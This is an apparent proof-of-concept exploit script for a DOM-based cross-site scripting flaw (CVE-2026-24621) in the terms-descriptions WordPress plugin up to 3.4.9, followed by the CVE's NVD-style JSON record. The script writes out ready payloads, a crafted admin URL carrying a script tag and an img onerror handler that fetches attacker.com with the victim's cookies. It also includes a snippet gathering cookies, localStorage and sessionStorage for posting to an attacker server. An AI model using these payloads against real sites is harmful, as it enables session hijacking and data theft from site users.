CVE-2026-24621

// CVE-2026-24621 DOM-based XSS PoC for terms-descriptions WordPress plugin // Target: terms-descriptions plugin <= 3.4.9 // Malicious payload that triggers DOM-based XSS const xssPayload = '<script>alert(document.cookie)</script>'; const xssPayloadEncoded = encodeURIComponent(xssPayload); // PoC: Crafted URL that exploits the DOM XSS vulnerability const maliciousURL = `${window.location.origin}/wp-admin/admin.php?page=terms-descriptions&term=${xssPayloadEncoded}`; console.log('CVE-2026-24621 PoC - DOM-based XSS in terms-descriptions'); console.log('Target URL:', maliciousURL); // Simulated attack scenario function exploitDOMXSS() { // Step 1: Inject malicious content into term description field const maliciousContent = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'; // Step 2: When page renders, the malicious script executes console.log('Malicious payload:', maliciousContent); console.log('Payload will be rendered in DOM without proper sanitization'); // Step 3: Steal sensitive data const stealData = ` (function() { var data = { cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage), url: window.location.href }; // Send data to attacker's server // fetch('https://attacker.com/exfil', {method: 'POST', body: JSON.stringify(data)}); })(); `; return stealData; } // Display exploitation steps console.log('\nAttack Chain:'); console.log('1. Attacker crafts malicious URL with XSS payload'); console.log('2. Victim visits the malicious URL'); console.log('3. Plugin vulnerable JavaScript code processes user input'); console.log('4. Payload is inserted into DOM without sanitization'); console.log('5. Browser executes malicious JavaScript'); console.log('6. Attacker steals sensitive data (cookies, session tokens)');

{"cve": {"id": "CVE-2026-24621", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:21.207", "lastModified": "2026-04-28T15:16:20.243", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Vladimir Statsenko Terms descriptions terms-descriptions allows DOM-Based XSS.This issue affects Terms descriptions: from n/a through <= 3.4.9."}, {"lang": "es", "value": "Vulnerabilidad de neutralización incorrecta de la entrada durante la generación de páginas web ('cross-site scripting') en Vladimir Statsenko Terms descriptions terms-descriptions permite XSS basado en DOM. Este problema afecta a Terms descriptions: desde n/a hasta &lt;= 3.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/terms-descriptions/vulnerability/wordpress-terms-descriptions-plugin-3-4-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}